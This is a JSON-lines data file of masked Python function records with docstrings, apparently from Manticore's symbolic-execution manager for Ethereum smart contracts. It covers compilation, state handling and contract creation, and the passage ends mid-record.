{"signature": "def make_symbolic_value(self, nbits=<NUM_LIT>, name=None):", "body": "avoid_collisions = False<EOL>if name is None:<EOL><INDENT>name = '<STR_LIT>'<EOL>avoid_collisions = True<EOL><DEDENT>return self.constraints.new_bitvec(nbits, name=name, avoid_collisions=avoid_collisions)<EOL>", "docstring": "Creates a symbolic value, normally a uint256, to be used in transactions.\n            You can operate on it normally and add constraints to manticore.constraints\n            via manticore.constrain(constraint_expression)\n\n            Example use::\n\n                symbolic_value = m.make_symbolic_value()\n                m.constrain(symbolic_value > 100)\n                m.constrain(symbolic_value < 1000)\n                m.transaction(caller=attacker_account,\n                                address=contract_account,\n                                data=data,\n                                value=symbolic_value )", "id": "f16997:c0:m1"}
{"signature": "def make_symbolic_address(self, name=None, select='<STR_LIT>'):", "body": "if select not in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>raise EthereumError('<STR_LIT>')<EOL><DEDENT>if select in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>raise NotImplemented<EOL><DEDENT>avoid_collisions = False<EOL>if name is None:<EOL><INDENT>name = '<STR_LIT>'<EOL>avoid_collisions = True<EOL><DEDENT>symbolic_address = self.constraints.new_bitvec(<NUM_LIT>, name=name, avoid_collisions=avoid_collisions)<EOL>constraint = symbolic_address == <NUM_LIT:0><EOL>for account in self._accounts.values():<EOL><INDENT>constraint = Operators.OR(symbolic_address == int(account), constraint)<EOL><DEDENT>self.constrain(constraint)<EOL>return symbolic_address<EOL>", "docstring": "Creates a symbolic address and constrains it to pre-existing addresses or the 0 address.\n\n:param name: Name of the symbolic variable. Defaults to 'TXADDR' and later to 'TXADDR_<number>'\n:param select: Whether to select contracts or normal accounts. Not implemented for now.\n:return: Symbolic address in form of a BitVecVariable.", "id": "f16997:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def compile(source_code, contract_name=None, libraries=None, runtime=False, solc_bin=None, solc_remaps=[]):<DEDENT>", "body": "name, source_code, init_bytecode, runtime_bytecode, srcmap, srcmap_runtime, hashes, abi, warnings = ManticoreEVM._compile(source_code, contract_name, libraries, solc_bin, solc_remaps)<EOL>if runtime:<EOL><INDENT>return runtime_bytecode<EOL><DEDENT>return init_bytecode<EOL>", "docstring": "Get initialization bytecode from a Solidity source code", "id": "f16997:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def _run_solc(source_file, solc_bin=None, solc_remaps=[], working_dir=None):<DEDENT>", "body": "if solc_bin is not None:<EOL><INDENT>solc = solc_bin<EOL><DEDENT>else:<EOL><INDENT>solc = \"<STR_LIT>\"<EOL><DEDENT>supported_versions = ('<STR_LIT>', '<STR_LIT>')<EOL>try:<EOL><INDENT>installed_version_output = check_output([solc, \"<STR_LIT>\"])<EOL><DEDENT>except OSError:<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>m = re.match(r\"<STR_LIT>\", installed_version_output.decode(), re.DOTALL | re.IGNORECASE)<EOL>if not m or m.groupdict()['<STR_LIT:version>'] not in supported_versions:<EOL><INDENT>pass<EOL><DEDENT>relative_filepath = source_file.name<EOL>if not working_dir:<EOL><INDENT>working_dir = os.getcwd()<EOL><DEDENT>if relative_filepath.startswith(working_dir):<EOL><INDENT>relative_filepath = relative_filepath[len(working_dir) + <NUM_LIT:1>:]<EOL><DEDENT>additional_kwargs = {'<STR_LIT>': working_dir} if working_dir else {}<EOL>solc_invocation = [solc] + list(solc_remaps) + [<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT:.>',<EOL>relative_filepath<EOL>]<EOL>logger.debug(f\"<STR_LIT>\")<EOL>p = Popen(solc_invocation, stdout=PIPE, stderr=PIPE, **additional_kwargs)<EOL>stdout, stderr = p.communicate()<EOL>stdout, stderr = stdout.decode(), stderr.decode()<EOL>if stdout == '<STR_LIT>' and f'<STR_LIT>' in stderr:<EOL><INDENT>raise EthereumError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>\"<STR_LIT>\"<EOL>'<STR_LIT:\\n>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(stderr)<EOL>)<EOL><DEDENT>try:<EOL><INDENT>return json.loads(stdout), stderr<EOL><DEDENT>except ValueError:<EOL><INDENT>raise EthereumError('<STR_LIT>'.format(stderr))<EOL><DEDENT>", "docstring": "Compile a source file with the Solidity compiler\n\n            :param source_file: a file object for the source file\n            :param solc_bin: path to solc binary\n            :param solc_remaps: solc import remaps\n            :return: output, warnings", "id": "f16997:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def _compile(source_code, contract_name, libraries=None, solc_bin=None, solc_remaps=[], working_dir=None):<DEDENT>", "body": "if isinstance(source_code, str):<EOL><INDENT>with tempfile.NamedTemporaryFile('<STR_LIT>') as temp:<EOL><INDENT>temp.write(source_code)<EOL>temp.flush()<EOL>output, warnings = ManticoreEVM._run_solc(temp, solc_bin, solc_remaps, working_dir=working_dir)<EOL><DEDENT><DEDENT>elif isinstance(source_code, io.IOBase):<EOL><INDENT>output, warnings = ManticoreEVM._run_solc(source_code, solc_bin, solc_remaps, working_dir=working_dir)<EOL>source_code.seek(<NUM_LIT:0>)<EOL>source_code = source_code.read()<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(f'<STR_LIT>')<EOL><DEDENT>contracts = output.get('<STR_LIT>', [])<EOL>if len(contracts) != <NUM_LIT:1> and contract_name is None:<EOL><INDENT>raise EthereumError(f'<STR_LIT>')<EOL><DEDENT>name, contract = None, None<EOL>if contract_name is None:<EOL><INDENT>name, contract = list(contracts.items())[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>for n, c in contracts.items():<EOL><INDENT>if n == contract_name or n.split(\"<STR_LIT::>\")[<NUM_LIT:1>] == contract_name:<EOL><INDENT>name, contract = n, c<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if name is None:<EOL><INDENT>raise ValueError(f'<STR_LIT>')<EOL><DEDENT>name = name.split('<STR_LIT::>')[<NUM_LIT:1>]<EOL>if contract['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>raise EthereumError('<STR_LIT>')<EOL><DEDENT>bytecode = ManticoreEVM._link(contract['<STR_LIT>'], libraries)<EOL>srcmap = contract['<STR_LIT>'].split('<STR_LIT:;>')<EOL>srcmap_runtime = contract['<STR_LIT>'].split('<STR_LIT:;>')<EOL>hashes = {str(x): str(y) for x, y in contract['<STR_LIT>'].items()}<EOL>abi = json.loads(contract['<STR_LIT>'])<EOL>runtime = ManticoreEVM._link(contract['<STR_LIT>'], libraries)<EOL>return name, source_code, bytecode, runtime, srcmap, srcmap_runtime, hashes, abi, warnings<EOL>", "docstring": "Compile a Solidity contract, used internally\n\n            :param source_code: solidity source as either a string or a file handle\n            :param contract_name: a string with the name of the contract to analyze\n            :param libraries: an itemizable of pairs (library_name, address)\n            :param solc_bin: path to solc binary\n            :param solc_remaps: solc import remaps\n            :param working_dir: working directory for solc compilation (defaults to current)\n            :return: name, source_code, bytecode, srcmap, srcmap_runtime, hashes\n            :return: name, source_code, bytecode, runtime, srcmap, srcmap_runtime, hashes, abi, warnings", "id": "f16997:c0:m7"}
{"signature": "def __init__(self, procs=<NUM_LIT:10>, workspace_url: str=None, policy: str='<STR_LIT>'):", "body": "self._accounts = dict()<EOL>self._serializer = PickleSerializer()<EOL>self._config_procs = procs<EOL>constraints = ConstraintSet()<EOL>world = evm.EVMWorld(constraints)<EOL>initial_state = State(constraints, world)<EOL>super().__init__(initial_state, workspace_url=workspace_url, policy=policy)<EOL>self.constraints = ConstraintSet()<EOL>self.detectors = {}<EOL>self.metadata: Dict[int, SolidityMetadata] = {}<EOL>self.context['<STR_LIT>'] = {}<EOL>self.context['<STR_LIT>']['<STR_LIT>'] = set()<EOL>self.context['<STR_LIT>']['<STR_LIT>'] = set()<EOL>self.context['<STR_LIT>']['<STR_LIT>'] = <NUM_LIT:0><EOL>self.context['<STR_LIT>']['<STR_LIT>'] = dict()<EOL>self.context['<STR_LIT>']['<STR_LIT>'] = set()<EOL>self._executor.subscribe('<STR_LIT>', self._load_state_callback)<EOL>self._executor.subscribe('<STR_LIT>', self._terminate_state_callback)<EOL>self._executor.subscribe('<STR_LIT>', self._did_evm_execute_instruction_callback)<EOL>self._executor.subscribe('<STR_LIT>', self._did_evm_read_code)<EOL>self._executor.subscribe('<STR_LIT>', self._on_symbolic_sha3_callback)<EOL>self._executor.subscribe('<STR_LIT>', self._on_concrete_sha3_callback)<EOL>self.subscribe('<STR_LIT>', self._generate_testcase_callback)<EOL>", "docstring": "A Manticore EVM manager\n:param procs:, number of workers to use in the exploration\n:param workspace_url: workspace folder name\n:param policy: scheduling priority", "id": "f16997:c0:m13"}
{"signature": "@property<EOL><INDENT>def world(self):<DEDENT>", "body": "return self.get_world()<EOL>", "docstring": "The world instance or None if there is more than one state", "id": "f16997:c0:m14"}
{"signature": "@property<EOL><INDENT>def _running_state_ids(self):<DEDENT>", "body": "with self.locked_context('<STR_LIT>') as context:<EOL><INDENT>if self.initial_state is not None:<EOL><INDENT>return (-<NUM_LIT:1>,) + tuple(context['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>return tuple(context['<STR_LIT>'])<EOL><DEDENT><DEDENT>", "docstring": "IDs of the running states", "id": "f16997:c0:m16"}
{"signature": "@property<EOL><INDENT>def _terminated_state_ids(self):<DEDENT>", "body": "with self.locked_context('<STR_LIT>') as context:<EOL><INDENT>return tuple(context['<STR_LIT>'])<EOL><DEDENT>", "docstring": "IDs of the terminated states", "id": "f16997:c0:m17"}
{"signature": "@property<EOL><INDENT>def _all_state_ids(self):<DEDENT>", "body": "return self._running_state_ids + self._terminated_state_ids<EOL>", "docstring": "IDs of the all states\n\n            Note: state with id -1 is already in memory and it is not backed on the storage", "id": "f16997:c0:m18"}
{"signature": "@property<EOL><INDENT>def running_states(self):<DEDENT>", "body": "for state_id in self._running_state_ids:<EOL><INDENT>state = self.load(state_id)<EOL>yield state<EOL>self.save(state, state_id=state_id)<EOL><DEDENT>", "docstring": "Iterates over running states giving the possibility to change state data.\n\nThe state data change must be done in a loop, e.g. `for state in running_states: ...`\nas we re-save the state when the generator comes back to the function.\n\nThis means it is not possible to change the state used by Manticore with `states = list(m.running_states)`.", "id": "f16997:c0:m19"}
{"signature": "@property<EOL><INDENT>def terminated_states(self):<DEDENT>", "body": "for state_id in self._terminated_state_ids:<EOL><INDENT>state = self.load(state_id)<EOL>yield state<EOL>self.save(state, state_id=state_id, final=True)<EOL><DEDENT>", "docstring": "Iterates over the terminated states.\n\nSee also `running_states`.", "id": "f16997:c0:m20"}
{"signature": "@property<EOL><INDENT>def all_states(self):<DEDENT>", "body": "for state_id in self._all_state_ids:<EOL><INDENT>state = self.load(state_id)<EOL>yield state<EOL>self.save(state, state_id=state_id, final=state_id in self._terminated_state_ids)<EOL><DEDENT>", "docstring": "Iterates over the all states (running and terminated)\n\nSee also `running_states`.", "id": "f16997:c0:m21"}
{"signature": "def count_states(self):", "body": "return len(self._all_state_ids)<EOL>", "docstring": "Total states count", "id": "f16997:c0:m22"}
{"signature": "def count_running_states(self):", "body": "return len(self._running_state_ids)<EOL>", "docstring": "Running states count", "id": "f16997:c0:m23"}
{"signature": "def count_terminated_states(self):", "body": "return len(self._terminated_state_ids)<EOL>", "docstring": "Terminated states count", "id": "f16997:c0:m24"}
{"signature": "def _terminate_state_id(self, state_id):", "body": "if state_id != -<NUM_LIT:1>:<EOL><INDENT>with self.locked_context('<STR_LIT>') as eth_context:<EOL><INDENT>saved_states = eth_context['<STR_LIT>']<EOL>final_states = eth_context['<STR_LIT>']<EOL>if state_id in saved_states:<EOL><INDENT>saved_states.remove(state_id)<EOL>final_states.add(state_id)<EOL>eth_context['<STR_LIT>'] = saved_states  <EOL>eth_context['<STR_LIT>'] = final_states<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>assert state_id == -<NUM_LIT:1><EOL>state_id = self.save(self._initial_state, final=True)<EOL>self._initial_state = None<EOL><DEDENT>return state_id<EOL>", "docstring": "Manually terminates a states by state_id.\n            Moves the state from the running list into the terminated list", "id": "f16997:c0:m25"}
{"signature": "def _revive_state_id(self, state_id):", "body": "<EOL>if state_id != -<NUM_LIT:1>:<EOL><INDENT>with self.locked_context('<STR_LIT>') as eth_context:<EOL><INDENT>saved_states = eth_context['<STR_LIT>']<EOL>final_states = eth_context['<STR_LIT>']<EOL>if state_id in final_states:<EOL><INDENT>final_states.remove(state_id)<EOL>saved_states.add(state_id)<EOL>eth_context['<STR_LIT>'] = saved_states<EOL>eth_context['<STR_LIT>'] = final_states<EOL><DEDENT><DEDENT><DEDENT>return state_id<EOL>", "docstring": "Manually revive a state by state_id.\n            Moves the state from the final list into the running list", "id": "f16997:c0:m26"}
{"signature": "def get_world(self, state_id=None):", "body": "state = self.load(state_id)<EOL>if state is None:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return state.platform<EOL><DEDENT>", "docstring": "Returns the evm world of `state_id` state.", "id": "f16997:c0:m27"}
{"signature": "def get_balance(self, address, state_id=None):", "body": "if isinstance(address, EVMAccount):<EOL><INDENT>address = int(address)<EOL><DEDENT>return self.get_world(state_id).get_balance(address)<EOL>", "docstring": "Balance for account `address` on state `state_id`", "id": "f16997:c0:m28"}
{"signature": "def get_storage_data(self, address, offset, state_id=None):", "body": "if isinstance(address, EVMAccount):<EOL><INDENT>address = int(address)<EOL><DEDENT>return self.get_world(state_id).get_storage_data(address, offset)<EOL>", "docstring": "Storage data for `offset` on account `address` on state `state_id`", "id": "f16997:c0:m29"}
{"signature": "def get_code(self, address, state_id=None):", "body": "if isinstance(address, EVMAccount):<EOL><INDENT>address = int(address)<EOL><DEDENT>return self.get_world(state_id).get_code(address)<EOL>", "docstring": "Storage data for `offset` on account `address` on state `state_id`", "id": "f16997:c0:m30"}
{"signature": "def last_return(self, state_id=None):", "body": "state = self.load(state_id)<EOL>return state.platform.last_transaction.return_data<EOL>", "docstring": "Last returned buffer for state `state_id`", "id": "f16997:c0:m31"}
{"signature": "def transactions(self, state_id=None):", "body": "state = self.load(state_id)<EOL>return state.platform.transactions<EOL>", "docstring": "Transactions list for state `state_id`", "id": "f16997:c0:m32"}
{"signature": "def human_transactions(self, state_id=None):", "body": "state = self.load(state_id)<EOL>return state.platform.human_transactions<EOL>", "docstring": "Transactions list for state `state_id`", "id": "f16997:c0:m33"}
{"signature": "def make_symbolic_arguments(self, types):", "body": "from . import abitypes<EOL>return self._make_symbolic_arguments(abitypes.parse(types))<EOL>", "docstring": "Make a reasonable serialization of the symbolic argument types", "id": "f16997:c0:m34"}
{"signature": "def _make_symbolic_arguments(self, ty):", "body": "<EOL>default_string_size = <NUM_LIT:32><EOL>default_array_size = <NUM_LIT:32><EOL>if ty[<NUM_LIT:0>] in ('<STR_LIT:int>', '<STR_LIT>'):<EOL><INDENT>result = self.make_symbolic_value()<EOL><DEDENT>elif ty[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>result = self.make_symbolic_buffer(size=ty[<NUM_LIT:1>])<EOL><DEDENT>elif ty[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>address = self.make_symbolic_value()<EOL>func_id = self.make_symbolic_buffer(size=<NUM_LIT:4>)<EOL>result = (address, func_id)<EOL><DEDENT>elif ty[<NUM_LIT:0>] in ('<STR_LIT>', '<STR_LIT:string>'):<EOL><INDENT>result = self.make_symbolic_buffer(size=default_string_size)<EOL><DEDENT>elif ty[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>result = ()<EOL>for ty_i in ty[<NUM_LIT:1>]:<EOL><INDENT>result += (self._make_symbolic_arguments(ty_i), )<EOL><DEDENT><DEDENT>elif ty[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>result = []<EOL>rep = ty[<NUM_LIT:1>]<EOL>if rep is None:<EOL><INDENT>rep = default_array_size<EOL><DEDENT>for _ in range(rep):<EOL><INDENT>result.append(self._make_symbolic_arguments(ty[<NUM_LIT:2>]))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise NotImplemented<EOL><DEDENT>return result<EOL>", "docstring": "This makes a tuple of symbols to be used as arguments of type ty", "id": "f16997:c0:m35"}
{"signature": "def json_create_contract(self, jfile, owner=None, name=None, contract_name=None, balance=<NUM_LIT:0>, gas=None, network_id=None, args=()):", "body": "if isinstance(jfile, io.IOBase):<EOL><INDENT>jfile = jfile.read()<EOL><DEDENT>elif isinstance(jfile, bytes):<EOL><INDENT>jfile = str(jfile, '<STR_LIT:utf-8>')<EOL><DEDENT>elif not isinstance(jfile, str):<EOL><INDENT>raise TypeError(f'<STR_LIT>')<EOL><DEDENT>truffle = json.loads(jfile)<EOL>hashes = {}<EOL>for item in truffle['<STR_LIT>']:<EOL><INDENT>item_type = item['<STR_LIT:type>']<EOL>if item_type in ('<STR_LIT>'):<EOL><INDENT>signature = SolidityMetadata.function_signature_for_name_and_inputs(item['<STR_LIT:name>'], item['<STR_LIT>'])<EOL>hashes[signature] = sha3.keccak_256(signature.encode()).hexdigest()[:<NUM_LIT:8>]<EOL>if '<STR_LIT>' in item:<EOL><INDENT>if item['<STR_LIT>'] != f'<STR_LIT>':<EOL><INDENT>raise Exception(f\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if contract_name is None:<EOL><INDENT>contract_name = truffle[\"<STR_LIT>\"]<EOL><DEDENT>if network_id is None:<EOL><INDENT>if len(truffle['<STR_LIT>']) > <NUM_LIT:1>:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if len(truffle['<STR_LIT>']) == <NUM_LIT:1>:<EOL><INDENT>network_id = list(truffle['<STR_LIT>'].keys())[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>if network_id in truffle['<STR_LIT>']:<EOL><INDENT>temp_dict = truffle['<STR_LIT>'][network_id]['<STR_LIT>']<EOL>links = dict((k, int(v['<STR_LIT:address>'], <NUM_LIT:0>)) for k, v in temp_dict.items())<EOL><DEDENT>else:<EOL><INDENT>links = ()<EOL><DEDENT>source_code = truffle[\"<STR_LIT:source>\"]<EOL>bytecode = self._link(truffle[\"<STR_LIT>\"][<NUM_LIT:2>:], links)<EOL>runtime = self._link(truffle[\"<STR_LIT>\"][<NUM_LIT:2>:], links)<EOL>if \"<STR_LIT>\" in truffle:<EOL><INDENT>srcmap = truffle[\"<STR_LIT>\"].split('<STR_LIT:;>')<EOL><DEDENT>else:<EOL><INDENT>srcmap_runtime = []<EOL><DEDENT>if \"<STR_LIT>\" in truffle:<EOL><INDENT>srcmap_runtime = truffle[\"<STR_LIT>\"].split('<STR_LIT:;>')<EOL><DEDENT>else:<EOL><INDENT>srcmap_runtime = []<EOL><DEDENT>abi = truffle['<STR_LIT>']<EOL>md = SolidityMetadata(contract_name, source_code, bytecode, runtime, srcmap, srcmap_runtime, hashes, abi, b'<STR_LIT>')<EOL>constructor_types = md.get_constructor_arguments()<EOL>if constructor_types != '<STR_LIT>':<EOL><INDENT>if args is None:<EOL><INDENT>args = self.make_symbolic_arguments(constructor_types)<EOL><DEDENT>constructor_data = ABI.serialize(constructor_types, *args)<EOL><DEDENT>else:<EOL><INDENT>constructor_data = b'<STR_LIT>'<EOL><DEDENT>contract_account = self.create_contract(owner=owner,<EOL>balance=balance,<EOL>init=md._init_bytecode + constructor_data,<EOL>gas=gas)<EOL>if contract_account is None:<EOL><INDENT>raise EthereumError(f\"<STR_LIT>\")<EOL><DEDENT>self.metadata[int(contract_account)] = md<EOL>if not self.count_running_states() or len(self.get_code(contract_account)) == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>return contract_account<EOL>", "docstring": "Creates a solidity contract based on a truffle json artifact.\n            https://github.com/trufflesuite/truffle/tree/develop/packages/truffle-contract-schema\n            :param jfile: truffle json artifact\n            :type jfile: str or IOBase\n            :param owner: owner account (will be default caller in any transactions)\n            :type owner: int or EVMAccount\n            :param contract_name: Name of the contract to analyze (optional if there is a single one in the source code)\n            :type contract_name: str\n            :param balance: balance to be transferred on creation\n            :type balance: int or BitVecVariable\n            :param gas: gas budget for each contract creation needed (may be more than one if several related contracts defined in the solidity source)\n            :type gas: int\n            :param network_id: Truffle network id to instantiate\n            :param tuple args: constructor arguments\n            :rtype: EVMAccount", "id": "f16997:c0:m36"}
{"signature": "def solidity_create_contract(self, source_code, owner, name=None, contract_name=None, libraries=None,<EOL>balance=<NUM_LIT:0>, address=None, args=(), solc_bin=None, solc_remaps=[],<EOL>working_dir=None, gas=None):", "body": "if libraries is None:<EOL><INDENT>deps = {}<EOL><DEDENT>else:<EOL><INDENT>deps = dict(libraries)<EOL><DEDENT>contract_names = [contract_name]<EOL>while contract_names:<EOL><INDENT>contract_name_i = contract_names.pop()<EOL>try:<EOL><INDENT>compile_results = self._compile(source_code, contract_name_i,<EOL>libraries=deps, solc_bin=solc_bin, solc_remaps=solc_remaps,<EOL>working_dir=working_dir)<EOL>md = SolidityMetadata(*compile_results)<EOL>if contract_name_i == contract_name:<EOL><INDENT>constructor_types = md.get_constructor_arguments()<EOL>if constructor_types != '<STR_LIT>':<EOL><INDENT>if args is None:<EOL><INDENT>args = self.make_symbolic_arguments(constructor_types)<EOL><DEDENT>constructor_data = ABI.serialize(constructor_types, *args)<EOL><DEDENT>else:<EOL><INDENT>constructor_data = b'<STR_LIT>'<EOL><DEDENT>if balance != <NUM_LIT:0>:<EOL><INDENT>if not md.constructor_abi['<STR_LIT>']:<EOL><INDENT>raise EthereumError(f\"<STR_LIT>\"<EOL>f\"<STR_LIT>\")<EOL><DEDENT>elif self.world.get_balance(owner.address) < balance:<EOL><INDENT>raise EthereumError(f\"<STR_LIT>\"<EOL>f\"<STR_LIT>\"<EOL>f\"<STR_LIT>\")<EOL><DEDENT><DEDENT>contract_account = self.create_contract(owner=owner,<EOL>balance=balance,<EOL>address=address,<EOL>init=md._init_bytecode + constructor_data,<EOL>name=name,<EOL>gas=gas)<EOL><DEDENT>else:<EOL><INDENT>contract_account = self.create_contract(owner=owner, init=md._init_bytecode)<EOL><DEDENT>if contract_account is None:<EOL><INDENT>raise EthereumError(\"<STR_LIT>\" % contract_name_i)<EOL><DEDENT>self.metadata[int(contract_account)] = md<EOL>deps[contract_name_i] = contract_account<EOL><DEDENT>except DependencyError as e:<EOL><INDENT>contract_names.append(contract_name_i)<EOL>for lib_name in e.lib_names:<EOL><INDENT>if lib_name not in deps:<EOL><INDENT>contract_names.append(lib_name)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if not self.count_running_states() or len(self.get_code(contract_account)) == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>return contract_account<EOL>", "docstring": "Creates a solidity contract and library dependencies\n\n            :param str source_code: solidity source code\n            :param owner: owner account (will be default caller in any transactions)\n            :type owner: int or EVMAccount\n            :param contract_name: Name of the contract to analyze (optional if there is a single one in the source code)\n            :type contract_name: str\n            :param balance: balance to be transferred on creation\n            :type balance: int or BitVecVariable\n            :param address: the address for the new contract (optional)\n            :type address: int or EVMAccount\n            :param tuple args: constructor arguments\n            :param solc_bin: path to solc binary\n            :type solc_bin: str\n            :param solc_remaps: solc import remaps\n            :type solc_remaps: list of str\n            :param working_dir: working directory for solc compilation (defaults to current)\n            :type working_dir: str\n            :param gas: gas budget for each contract creation needed (may be more than one if several related contracts defined in the solidity source)\n            :type gas: int\n            :rtype: EVMAccount", "id": "f16997:c0:m37"}
{"signature": "def create_contract(self, owner, balance=<NUM_LIT:0>, address=None, init=None, name=None, gas=None):", "body": "if not self.count_running_states():<EOL><INDENT>raise NoAliveStates<EOL><DEDENT>nonce = self.get_nonce(owner)<EOL>expected_address = evm.EVMWorld.calculate_new_address(int(owner), nonce=nonce)<EOL>if address is None:<EOL><INDENT>address = expected_address<EOL><DEDENT>elif address != expected_address:<EOL><INDENT>raise EthereumError(\"<STR_LIT>\" % (expected_address, address))<EOL><DEDENT>if name is None:<EOL><INDENT>name = self._get_uniq_name(\"<STR_LIT>\")<EOL><DEDENT>if name in self._accounts:<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>self._transaction('<STR_LIT>', owner, balance, address, data=init, gaslimit=gas)<EOL>self._accounts[name] = EVMContract(address=address, manticore=self, default_caller=owner, name=name)<EOL>return self.accounts[name]<EOL>", "docstring": "Creates a contract\n\n            :param owner: owner account (will be default caller in any transactions)\n            :type owner: int or EVMAccount\n            :param balance: balance to be transferred on creation\n            :type balance: int or BitVecVariable\n            :param int address: the address for the new contract (optional)\n            :param str init: initializing evm bytecode and arguments\n            :param str name: a unique name for reference\n            :param gas: gas budget for the creation/initialization of the contract\n            :rtype: EVMAccount", "id": "f16997:c0:m39"}
{"signature": "def _all_addresses(self):", "body": "ret = set()<EOL>for state in self.running_states:<EOL><INDENT>ret |= set(state.platform.accounts)<EOL><DEDENT>return ret<EOL>", "docstring": "Returns all addresses in all running states", "id": "f16997:c0:m41"}
{"signature": "def new_address(self):", "body": "all_addresses = self._all_addresses()<EOL>while True:<EOL><INDENT>new_address = random.randint(<NUM_LIT:100>, pow(<NUM_LIT:2>, <NUM_LIT>))<EOL>if new_address not in all_addresses:<EOL><INDENT>return new_address<EOL><DEDENT><DEDENT>", "docstring": "Create a fresh 160bit address", "id": "f16997:c0:m42"}
{"signature": "def transaction(self, caller, address, value, data, gas=None):", "body": "self._transaction('<STR_LIT>', caller, value=value, address=address, data=data, gaslimit=gas)<EOL>", "docstring": "Issue a symbolic transaction in all running states\n\n            :param caller: the address of the account sending the transaction\n            :type caller: int or EVMAccount\n            :param address: the address of the contract to call\n            :type address: int or EVMAccount\n            :param value: balance to be transfered on creation\n            :type value: int or BitVecVariable\n            :param data: initial data\n            :param gas: gas budget\n            :raises NoAliveStates: if there are no alive states to execute", "id": "f16997:c0:m43"}
{"signature": "def create_account(self, balance=<NUM_LIT:0>, address=None, code=None, name=None):", "body": "<EOL>if not self.count_running_states():<EOL><INDENT>raise NoAliveStates<EOL><DEDENT>if name is None:<EOL><INDENT>if code is None:<EOL><INDENT>name = self._get_uniq_name(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>name = self._get_uniq_name(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if name in self._accounts:<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(balance, int):<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(code, str):<EOL><INDENT>code = bytes(code, \"<STR_LIT:utf-8>\")<EOL><DEDENT>if code is not None and not isinstance(code, (bytes, Array)):<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>if address is None:<EOL><INDENT>address = self.new_address()<EOL><DEDENT>if not isinstance(address, int):<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>assert address is not None<EOL>if address in map(int, self.accounts.values()):<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>for state in self.running_states:<EOL><INDENT>world = state.platform<EOL>if '<STR_LIT>' in state.context:<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>if address in world.accounts:<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>world.create_account(address, balance, code=code, storage=None)<EOL><DEDENT>self._accounts[name] = EVMAccount(address, manticore=self, name=name)<EOL>return self.accounts[name]<EOL>", "docstring": "Low level creates an account. This won't generate a transaction.\n\n            :param balance: balance to be set on creation (optional)\n            :type balance: int or BitVecVariable\n            :param address: the address for the new account (optional)\n            :type address: int\n            :param code: the runtime code for the new account (None means normal account), str or bytes (optional)\n            :param name: a global account name eg. for use as reference in the reports (optional)\n            :return: an EVMAccount", "id": "f16997:c0:m44"}
{"signature": "def _transaction(self, sort, caller, value=<NUM_LIT:0>, address=None, data=None, gaslimit=None, price=<NUM_LIT:1>):", "body": "if gaslimit is None:<EOL><INDENT>gaslimit = cfg.defaultgas<EOL><DEDENT>if isinstance(address, EVMAccount):<EOL><INDENT>address = int(address)<EOL><DEDENT>if isinstance(caller, EVMAccount):<EOL><INDENT>caller = int(caller)<EOL><DEDENT>if data is None:<EOL><INDENT>data = bytearray(b\"<STR_LIT>\")<EOL><DEDENT>if isinstance(data, (str, bytes)):<EOL><INDENT>data = bytearray(data)<EOL><DEDENT>if not isinstance(data, (bytearray, Array)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(caller, (int, BitVec)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(value, (int, BitVec)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(address, (int, BitVec)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(price, int):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if sort not in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if sort == '<STR_LIT>':<EOL><INDENT>if len(data) == <NUM_LIT:0>:<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>assert address is not None<EOL>assert caller is not None<EOL>if not self.count_running_states():<EOL><INDENT>raise NoAliveStates<EOL><DEDENT>for state in self.running_states:<EOL><INDENT>world = state.platform<EOL>if '<STR_LIT>' in state.context:<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>if address is None:<EOL><INDENT>if issymbolic(caller):<EOL><INDENT>raise 